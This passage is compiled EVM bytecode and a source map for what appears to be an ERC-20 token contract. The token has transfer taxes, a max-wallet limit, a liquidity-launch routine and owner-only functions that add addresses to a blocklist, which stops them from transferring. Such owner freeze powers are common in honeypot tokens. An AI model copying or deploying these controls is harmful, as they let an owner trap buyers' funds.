b34801561029157600080fd5b506101856102a036600461171a565b61066d565b3480156102b157600080fd5b506101ee61069b565b3480156102c657600080fd5b506101ee6102d5366004611737565b6106e4565b3480156102e657600080fd5b506101ab6102f536600461171a565b6001600160a01b031660009081526001602052604090205490565b34801561031c57600080fd5b506101ee61071e565b34801561033157600080fd5b506000546040516001600160a01b03909116815260200161015c565b34801561035957600080fd5b506101ab60105481565b34801561036f57600080fd5b5061014f610792565b34801561038457600080fd5b506101856103933660046115d2565b6107a1565b3480156103a457600080fd5b506101ab60115481565b3480156103ba57600080fd5b506101ee6107ae565b3480156103cf57600080fd5b506101ab6103de366004611750565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6060600e805461041890611789565b80601f016020809104026020016040519081016040528092919081815260200182805461044490611789565b80156104915780601f1061046657610100808354040283529160200191610491565b820191906000526020600020905b81548152906001019060200180831161047457829003601f168201915b5050505050905090565b60006104a8338484610ba6565b5060015b92915050565b60006104c06009600a6118b7565b6104ce90633b9aca006118c6565b905090565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd906118dd565b60405180910390fd5b60005b815181101561056e5760016004600084848151811061052a5761052a611912565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061056681611928565b915050610509565b5050565b600061057f848484610cca565b6105d184336105cc85604051806060016040528060288152602001611a68602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611212565b610ba6565b5060019392505050565b6000546001600160a01b031633146106055760405162461bcd60e51b81526004016104fd906118dd565b60005b815181101561056e5760006004600084848151811061062957610629611912565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611928565b915050610608565b306000908152600260209081526040808320338085529252822054610693918491610ba6565b506001919050565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016104fd906118dd565b6106d16009600a6118b7565b6106df90633b9aca006118c6565b601055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561056e573d6000803e3d6000fd5b6000546001600160a01b031633146107485760405162461bcd60e51b81526004016104fd906118dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600f805461041890611789565b60006104a8338484610cca565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016104fd906118dd565b601454600160a01b900460ff16156108325760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556108653033600019610ba6565b61089e3061039360646108986062610892336001600160a01b031660009081526001602052604090205490565b9061124c565b906112d5565b50601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109169190611941565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c9190611941565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109e9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0d9190611941565b601480546001600160a01b0319166001600160a01b03928316179055601354610a3b91309116600019610ba6565b6013546001600160a01b031663f305d7194730610a6d816001600160a01b031660009081526001602052604090205490565b600080610a826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b0f919061195e565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8c919061198c565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610d905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b60008111610df25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b600080546001600160a01b03858116911614801590610e1f57506000546001600160a01b03848116911614155b156110cf576001600160a01b03841660009081526004602052604090205460ff16158015610e6657506001600160a01b03831660009081526004602052604090205460ff16155b610e6f57600080fd5b610e956064610898600a54600d5411610e8a57600654610e8e565b6008545b859061124c565b6014549091506001600160a01b038581169116148015610ec357506013546001600160a01b03848116911614155b8015610ee857506001600160a01b03831660009081526003602052604090205460ff16155b15610f7e5760105482610f10856001600160a01b031660009081526001602052604090205490565b610f1a91906119ae565b1115610f685760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104fd565b600d8054906000610f7883611928565b91905055505b6014546001600160a01b038481169116148015610fa457506001600160a01b0384163014155b15610fd157610fce6064610898600b54600d5411610fc457600754610e8e565b600954859061124c565b90505b6014546001600160a01b038481169116148015610ff657506001600160a01b03841630145b156110305761102d60646108986103ee610898610138610892600a54600d541161102257600654611026565b6008545b899061124c565b90505b30600090815260016020526040902054601454600160a81b900460ff1615801561106757506014546001600160a01b038581169116145b801561107c5750601454600160b01b900460ff165b8015611089575060115481115b80156110995750600c54600d5410155b156110cd576110bb6110b6846110b184601254611317565b611317565b61132c565b4780156110cb576110cb476106e4565b505b505b801561114957306000908152600160205260409020546110ef908261148d565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111409085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461116c90836114ec565b6001600160a01b0385166000908152600160205260409020556111b161119283836114ec565b6001600160a01b0385166000908152600160205260409020549061148d565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fb85856114ec565b60405190815260200160405180910390a350505050565b600081848411156112365760405162461bcd60e51b81526004016104fd919061155c565b50600061124384866119c1565b95945050505050565b60008260000361125e575060006104ac565b600061126a83856118c6565b90508261127785836119d4565b146112ce5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b9392505050565b60006112ce83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152e565b600081831161132657826112ce565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137457611374611912565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f19190611941565b8160018151811061140457611404611912565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac9479061144a9085906000908690309042906004016119f6565b600060405180830381600087803b15801561146457600080fd5b505af1158015611478573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60008061149a83856119ae565b9050838110156112ce5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b60006112ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611212565b6000818361154f5760405162461bcd60e51b81526004016104fd919061155c565b50600061124384866119d4565b600060208083528351808285015260005b818110156115895785810183015185820160400152820161156d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115bf57600080fd5b50565b80356115cd816115aa565b919050565b600080604083850312156115e557600080fd5b82356115f0816115aa565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561162757600080fd5b823567ffffffffffffffff8082111561163f57600080fd5b818501915085601f83011261165357600080fd5b813581811115611665576116656115fe565b8060051b604051601f19603f8301168101818110858211171561168a5761168a6115fe565b6040529182528482019250838101850191888311156116a857600080fd5b938501935b828510156116cd576116be856115c2565b845293850193928501926116ad565b98975050505050505050565b6000806000606084860312156116ee57600080fd5b83356116f9816115aa565b92506020840135611709816115aa565b929592945050506040919091013590565b60006020828403121561172c57600080fd5b81356112ce816115aa565b60006020828403121561174957600080fd5b5035919050565b6000806040838503121561176357600080fd5b823561176e816115aa565b9150602083013561177e816115aa565b809150509250929050565b600181811c9082168061179d57607f821691505b60208210810361132657634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561180e5781600019048211156117f4576117f46117bd565b8085161561180157918102915b93841c93908002906117d8565b509250929050565b600082611825575060016104ac565b81611832575060006104ac565b816001811461184857600281146118525761186e565b60019150506104ac565b60ff841115611863576118636117bd565b50506001821b6104ac565b5060208310610133831016604e8410600b8410161715611891575081810a6104ac565b61189b83836117d3565b80600019048211156118af576118af6117bd565b029392505050565b60006112ce60ff841683611816565b80820281158282048414176104ac576104ac6117bd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161193a5761193a6117bd565b5060010190565b60006020828403121561195357600080fd5b81516112ce816115aa565b60008060006060848603121561197357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199e57600080fd5b815180151581146112ce57600080fd5b808201808211156104ac576104ac6117bd565b818103818111156104ac576104ac6117bd565b6000826119f157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a465784516001600160a01b031683529383019391830191600101611a21565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095660b620525ed2fb36a634044e796a022f1f3d59b8646100d2727937fc8155664736f6c63430008130033

Deployed Bytecode Sourcemap

3580:7729:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5353:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5790:138;;;;;;;;;;-1:-1:-1;5790:138:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;5790:138:0;1162:187:1;4561:56:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4561:56:0;1354:177:1;5588:81:0;;;;;;;;;;;;;:::i;10007:163::-;;;;;;;;;;-1:-1:-1;10007:163:0;;;;;:::i;:::-;;:::i;:::-;;6383:317;;;;;;;;;;-1:-1:-1;6383:317:0;;;;;:::i;:::-;;:::i;5511:69::-;;;;;;;;;;-1:-1:-1;5511:69:0;;4291:1;3397:36:1;;3385:2;3370:18;5511:69:0;3255:184:1;10178:162:0;;;;;;;;;;-1:-1:-1;10178:162:0;;;;;:::i;:::-;;:::i;10348:84::-;;;;;;;;;;-1:-1:-1;10348:84:0;;;;;:::i;:::-;-1:-1:-1;;;;;10417:7:0;10395:4;10417:7;;;:4;:7;;;;;;;;;10348:84;5936:150;;;;;;;;;;-1:-1:-1;5936:150:0;;;;;:::i;:::-;;:::i;9811:83::-;;;;;;;;;;;;;:::i;9902:97::-;;;;;;;;;;-1:-1:-1;9902:97:0;;;;;:::i;:::-;;:::i;5677:105::-;;;;;;;;;;-1:-1:-1;5677:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;5761:18:0;5743:7;5761:18;;;:9;:18;;;;;;;5677:105;2661:148;;;;;;;;;;;;;:::i;2447:79::-;;;;;;;;;;-1:-1:-1;2485:7:0;2512:6;2447:79;;-1:-1:-1;;;;;2512:6:0;;;4027:51:1;;4015:2;4000:18;2447:79:0;3881:203:1;4426:59:0;;;;;;;;;;;;;;;;5430:73;;;;;;;;;;;;;:::i;6231:144::-;;;;;;;;;;-1:-1:-1;6231:144:0;;;;;:::i;:::-;;:::i;4492:62::-;;;;;;;;;;;;;;;;10440:827;;;;;;;;;;;;;:::i;6094:129::-;;;;;;;;;;-1:-1:-1;6094:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;6193:18:0;;;6175:7;6193:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6094:129;5353:69;5390:13;5414:5;5407:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5353:69;:::o;5790:138::-;5865:4;5873:39;281:10;5896:7;5905:6;5873:8;:39::i;:::-;-1:-1:-1;5921:4:0;5790:138;;;;;:::o;5588:81::-;5641:7;4350:13;4291:1;4350:2;:13;:::i;:::-;4334:29;;:13;:29;:::i;:::-;5652:14;;5588:81;:::o;10007:163::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;;;;;;;;;10080:6:::1;10075:88;10096:5;:12;10092:1;:16;10075:88;;;10147:4;10130;:14;10135:5;10141:1;10135:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10130:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10130:14:0;:21;;-1:-1:-1;;10130:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10110:3;::::1;::::0;::::1;:::i;:::-;;;;10075:88;;;;10007:163:::0;:::o;6383:317::-;6481:4;6499:36;6509:6;6517:9;6528:6;6499:9;:36::i;:::-;6547:121;6556:6;281:10;6578:89;6616:6;6578:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6578:19:0;;;;;;:11;:19;;;;;;;;281:10;6578:33;;;;;;;;;;:37;:89::i;:::-;6547:8;:121::i;:::-;-1:-1:-1;6687:4:0;6383:317;;;;;:::o;10178:162::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;10251:6:::1;10246:87;10267:6;:13;10263:1;:17;10246:87;;;10318:5;10300:4;:15;10305:6;10312:1;10305:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10300:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10300:15:0;:23;;-1:-1:-1;;10300:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10282:3;::::1;::::0;::::1;:::i;:::-;;;;10246:87;;5936:150:::0;6049:4;5989;6029:26;;;:11;:26;;;;;;;;281:10;6029:40;;;;;;;;5997:73;;6006:7;;5997:8;:73::i;:::-;-1:-1:-1;6079:4:0;;5936:150;-1:-1:-1;5936:150:0:o;9811:83::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;4350:13:::1;4291:1;4350:2;:13;:::i;:::-;4334:29;::::0;:13:::1;:29;:::i;:::-;9864:14;:22:::0;9811:83::o;9902:97::-;9964:10;;:27;;-1:-1:-1;;;;;9964:10:0;;;;:27;;;;;9984:6;;9964:10;:27;:10;:27;9984:6;9964:10;:27;;;;;;;;;;;;;;;;;;;2661:148;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;2768:1:::1;2752:6:::0;;2731:40:::1;::::0;-1:-1:-1;;;;;2752:6:0;;::::1;::::0;2731:40:::1;::::0;2768:1;;2731:40:::1;2799:1;2782:19:::0;;-1:-1:-1;;;;;;2782:19:0::1;::::0;;2661:148::o;5430:73::-;5469:13;5493:7;5486:14;;;;;:::i;6231:144::-;6309:4;6317:42;281:10;6341:9;6352:6;6317:9;:42::i;10440:827::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;10502:11:::1;::::0;-1:-1:-1;;;10502:11:0;::::1;;;10501:12;10493:48;;;::::0;-1:-1:-1;;;10493:48:0;;7390:2:1;10493:48:0::1;::::0;::::1;7372:21:1::0;7429:2;7409:18;;;7402:30;7468:25;7448:18;;;7441:53;7511:18;;10493:48:0::1;7188:347:1::0;10493:48:0::1;10553:15;:80:::0;;-1:-1:-1;;;;;;10553:80:0::1;10590:42;10553:80;::::0;;10645:54:::1;10662:4;10669:10;-1:-1:-1::0;;10645:8:0::1;:54::i;:::-;10710:63;10727:4;10734:38;10768:3;10734:29;10760:2;10734:21;10744:10;-1:-1:-1::0;;;;;5761:18:0;5743:7;5761:18;;;:9;:18;;;;;;;5677:105;10734:21:::1;:25:::0;::::1;:29::i;:::-;:33:::0;::::1;:38::i;10710:63::-;;10819:15;;;;;;;;;-1:-1:-1::0;;;;;10819:15:0::1;-1:-1:-1::0;;;;;10819:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10801:55:0::1;;10865:4;10872:15;;;;;;;;;-1:-1:-1::0;;;;;10872:15:0::1;-1:-1:-1::0;;;;;10872:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10801:94;::::0;-1:-1:-1;;;;;;10801:94:0::1;::::0;;;;;;-1:-1:-1;;;;;8026:15:1;;;10801:94:0::1;::::0;::::1;8008:34:1::0;8078:15;;8058:18;;;8051:43;7943:18;;10801:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10785:13;:110:::0;;-1:-1:-1;;;;;;10785:110:0::1;-1:-1:-1::0;;;;;10785:110:0;;::::1;;::::0;;10939:15:::1;::::0;10907:68:::1;::::0;10924:4:::1;::::0;10939:15:::1;-1:-1:-1::0;;10907:8:0::1;:68::i;:::-;10986:15;::::0;-1:-1:-1;;;;;10986:15:0::1;:31;11025:21;11056:4;11062:24;11056:4:::0;-1:-1:-1;;;;;5761:18:0;5743:7;5761:18;;;:9;:18;;;;;;;5677:105;11062:24:::1;11087:1;11089::::0;11091:7:::1;2485::::0;2512:6;-1:-1:-1;;;;;2512:6:0;;2447:79;11091:7:::1;10986:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10986:129:0;;;-1:-1:-1;;;;;8464:15:1;;;10986:129:0::1;::::0;::::1;8446:34:1::0;8496:18;;;8489:34;;;;8539:18;;;8532:34;;;;8582:18;;;8575:34;8646:15;;;8625:19;;;8618:44;11099:15:0::1;8678:19:1::0;;;8671:35;8380:19;;10986:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11134:13:0::1;::::0;11165:15:::1;::::0;11127:71:::1;::::0;-1:-1:-1;;;11127:71:0;;-1:-1:-1;;;;;11165:15:0;;::::1;11127:71;::::0;::::1;9202:51:1::0;-1:-1:-1;;9269:18:1;;;9262:34;11134:13:0;::::1;::::0;-1:-1:-1;11127:29:0::1;::::0;9175:18:1;;11127:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11210:11:0::1;:18:::0;;-1:-1:-1;;;;11240:18:0;-1:-1:-1;;;11240:18:0;;;10440:827::o;6708:335::-;-1:-1:-1;;;;;6801:19:0;;6793:68;;;;-1:-1:-1;;;6793:68:0;;9791:2:1;6793:68:0;;;9773:21:1;9830:2;9810:18;;;9803:30;9869:34;9849:18;;;9842:62;-1:-1:-1;;;9920:18:1;;;9913:34;9964:19;;6793:68:0;9589:400:1;6793:68:0;-1:-1:-1;;;;;6880:21:0;;6872:68;;;;-1:-1:-1;;;6872:68:0;;10196:2:1;6872:68:0;;;10178:21:1;10235:2;10215:18;;;10208:30;10274:34;10254:18;;;10247:62;-1:-1:-1;;;10325:18:1;;;10318:32;10367:19;;6872:68:0;9994:398:1;6872:68:0;-1:-1:-1;;;;;6951:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7003:32;;1500:25:1;;;7003:32:0;;1473:18:1;7003:32:0;;;;;;;6708:335;;;:::o;7051:2226::-;-1:-1:-1;;;;;7139:18:0;;7131:68;;;;-1:-1:-1;;;7131:68:0;;10599:2:1;7131:68:0;;;10581:21:1;10638:2;10618:18;;;10611:30;10677:34;10657:18;;;10650:62;-1:-1:-1;;;10728:18:1;;;10721:35;10773:19;;7131:68:0;10397:401:1;7131:68:0;-1:-1:-1;;;;;7218:16:0;;7210:64;;;;-1:-1:-1;;;7210:64:0;;11005:2:1;7210:64:0;;;10987:21:1;11044:2;11024:18;;;11017:30;11083:34;11063:18;;;11056:62;-1:-1:-1;;;11134:18:1;;;11127:33;11177:19;;7210:64:0;10803:399:1;7210:64:0;7302:1;7293:6;:10;7285:64;;;;-1:-1:-1;;;7285:64:0;;11409:2:1;7285:64:0;;;11391:21:1;11448:2;11428:18;;;11421:30;11487:34;11467:18;;;11460:62;-1:-1:-1;;;11538:18:1;;;11531:39;11587:19;;7285:64:0;11207:405:1;7285:64:0;7360:17;2512:6;;-1:-1:-1;;;;;7394:15:0;;;2512:6;;7394:15;;;;:32;;-1:-1:-1;2485:7:0;2512:6;-1:-1:-1;;;;;7413:13:0;;;2512:6;;7413:13;;7394:32;7390:1531;;;-1:-1:-1;;;;;7452:10:0;;;;;;:4;:10;;;;;;;;7451:11;:24;;;;-1:-1:-1;;;;;;7467:8:0;;;;;;:4;:8;;;;;;;;7466:9;7451:24;7443:33;;;;;;7503:76;7575:3;7503:67;7525:15;;7515:9;;:25;7514:55;;7555:14;;7514:55;;;7542:12;;7514:55;7503:6;;:10;:67::i;:76::-;7631:13;;7491:88;;-1:-1:-1;;;;;;7623:21:0;;;7631:13;;7623:21;:55;;;;-1:-1:-1;7662:15:0;;-1:-1:-1;;;;;7648:30:0;;;7662:15;;7648:30;;7623:55;:83;;;;-1:-1:-1;;;;;;7684:22:0;;;;;;:18;:22;;;;;;;;7682:24;7623:83;7619:235;;;7761:14;;7751:6;7735:13;7745:2;-1:-1:-1;;;;;5761:18:0;5743:7;5761:18;;;:9;:18;;;;;;;5677:105;7735:13;:22;;;;:::i;:::-;:40;;7727:79;;;;-1:-1:-1;;;7727:79:0;;11949:2:1;7727:79:0;;;11931:21:1;11988:2;11968:18;;;11961:30;12027:28;12007:18;;;12000:56;12073:18;;7727:79:0;11747:350:1;7727:79:0;7827:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7619:235;7906:13;;-1:-1:-1;;;;;7900:19:0;;;7906:13;;7900:19;:43;;;;-1:-1:-1;;;;;;7923:20:0;;7938:4;7923:20;;7900:43;7897:174;;;7976:79;8051:3;7976:70;7998:16;;7988:9;;:26;7987:58;;8030:15;;7987:58;;;8016:13;;7976:6;;:10;:70::i;:79::-;7964:91;;7897:174;8123:13;;-1:-1:-1;;;;;8117:19:0;;;8123:13;;8117:19;:44;;;;-1:-1:-1;;;;;;8140:21:0;;8156:4;8140:21;8117:44;8114:191;;;8194:95;8285:3;8194:86;8275:4;8194:76;8266:3;8194:67;8216:15;;8206:9;;:25;8205:55;;8246:14;;8205:55;;;8233:12;;8205:55;8194:6;;:10;:67::i;:95::-;8182:107;;8114:191;8370:4;8321:28;5761:18;;;:9;:18;;;;;;8396:6;;-1:-1:-1;;;8396:6:0;;;;8395:7;:47;;;;-1:-1:-1;8429:13:0;;-1:-1:-1;;;;;8423:19:0;;;8429:13;;8423:19;8395:47;:80;;;;-1:-1:-1;8464:11:0;;-1:-1:-1;;;8464:11:0;;;;8395:80;:142;;;;;8520:17;;8497:20;:40;8395:142;:193;;;;;8570:18;;8559:9;;:29;;8395:193;8391:519;;;8613:67;8630:49;8634:6;8641:37;8645:20;8666:11;;8641:3;:37::i;:::-;8630:3;:49::i;:::-;8613:16;:67::i;:::-;8732:21;8779:22;;8776:119;;8830:41;8849:21;8830:18;:41::i;:::-;8590:320;8391:519;7428:1493;7390:1531;8936:11;;8933:161;;9004:4;8986:24;;;;:9;:24;;;;;;:39;;9015:9;8986:28;:39::i;:::-;8979:4;8961:24;;;;:9;:24;;;;;;;:64;;;;9043:39;;-1:-1:-1;;;;;9043:39:0;;;;;;;9072:9;1500:25:1;;1488:2;1473:18;;1354:177;9043:39:0;;;;;;;;8933:161;-1:-1:-1;;;;;9120:15:0;;;;;;:9;:15;;;;;;:27;;9140:6;9120:19;:27::i;:::-;-1:-1:-1;;;;;9104:15:0;;;;;;:9;:15;;;;;:43;9172:40;9190:21;:6;9201:9;9190:10;:21::i;:::-;-1:-1:-1;;;;;9172:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9158:13:0;;;;;;;:9;:13;;;;;:54;;;;9228:41;;;9247:21;:6;9258:9;9247:10;:21::i;:::-;9228:41;;1500:25:1;;;1488:2;1473:18;9228:41:0;;;;;;;7120:2157;7051:2226;;;:::o;1339:190::-;1425:7;1461:12;1453:6;;;;1445:29;;;;-1:-1:-1;;;1445:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1485:9:0;1497:5;1501:1;1497;:5;:::i;:::-;1485:17;1339:190;-1:-1:-1;;;;;1339:190:0:o;1537:246::-;1595:7;1619:1;1624;1619:6;1615:47;;-1:-1:-1;1649:1:0;1642:8;;1615:47;1672:9;1684:5;1688:1;1684;:5;:::i;:::-;1672:17;-1:-1:-1;1717:1:0;1708:5;1712:1;1672:17;1708:5;:::i;:::-;:10;1700:56;;;;-1:-1:-1;;;1700:56:0;;12659:2:1;1700:56:0;;;12641:21:1;12698:2;12678:18;;;12671:30;12737:34;12717:18;;;12710:62;-1:-1:-1;;;12788:18:1;;;12781:31;12829:19;;1700:56:0;12457:397:1;1700:56:0;1774:1;1537:246;-1:-1:-1;;;1537:246:0:o;1791:132::-;1849:7;1876:39;1880:1;1883;1876:39;;;;;;;;;;;;;;;;;:3;:39::i;9287:98::-;9344:7;9371:1;9369;:3;9368:9;;9376:1;9368:9;;;-1:-1:-1;9374:1:0;9287:98;-1:-1:-1;9287:98:0:o;9393:410::-;4857:6;:13;;-1:-1:-1;;;;4857:13:0;-1:-1:-1;;;4857:13:0;;;9495:16:::1;::::0;;9509:1:::1;9495:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9495:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9495:16:0::1;9471:40;;9540:4;9522;9527:1;9522:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9522:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9566:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9566:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9522:7;;9566:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9556:4;9561:1;9556:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9556:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9599:15:::1;::::0;:196:::1;::::0;-1:-1:-1;;;9599:196:0;;:15;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9680:11;;9599:15:::1;::::0;9722:4;;9749::::1;::::0;9769:15:::1;::::0;9599:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4893:6:0;:14;;-1:-1:-1;;;;4893:14:0;;;-1:-1:-1;;;;9393:410:0:o;1008:179::-;1066:7;;1098:5;1102:1;1098;:5;:::i;:::-;1086:17;;1127:1;1122;:6;;1114:46;;;;-1:-1:-1;;;1114:46:0;;14046:2:1;1114:46:0;;;14028:21:1;14085:2;14065:18;;;14058:30;14124:29;14104:18;;;14097:57;14171:18;;1114:46:0;13844:351:1;1195:136:0;1253:7;1280:43;1284:1;1287;1280:43;;;;;;;;;;;;;;;;;:3;:43::i;1931:189::-;2017:7;2052:12;2045:5;2037:28;;;;-1:-1:-1;;;2037:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2076:9:0;2088:5;2092:1;2088;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443: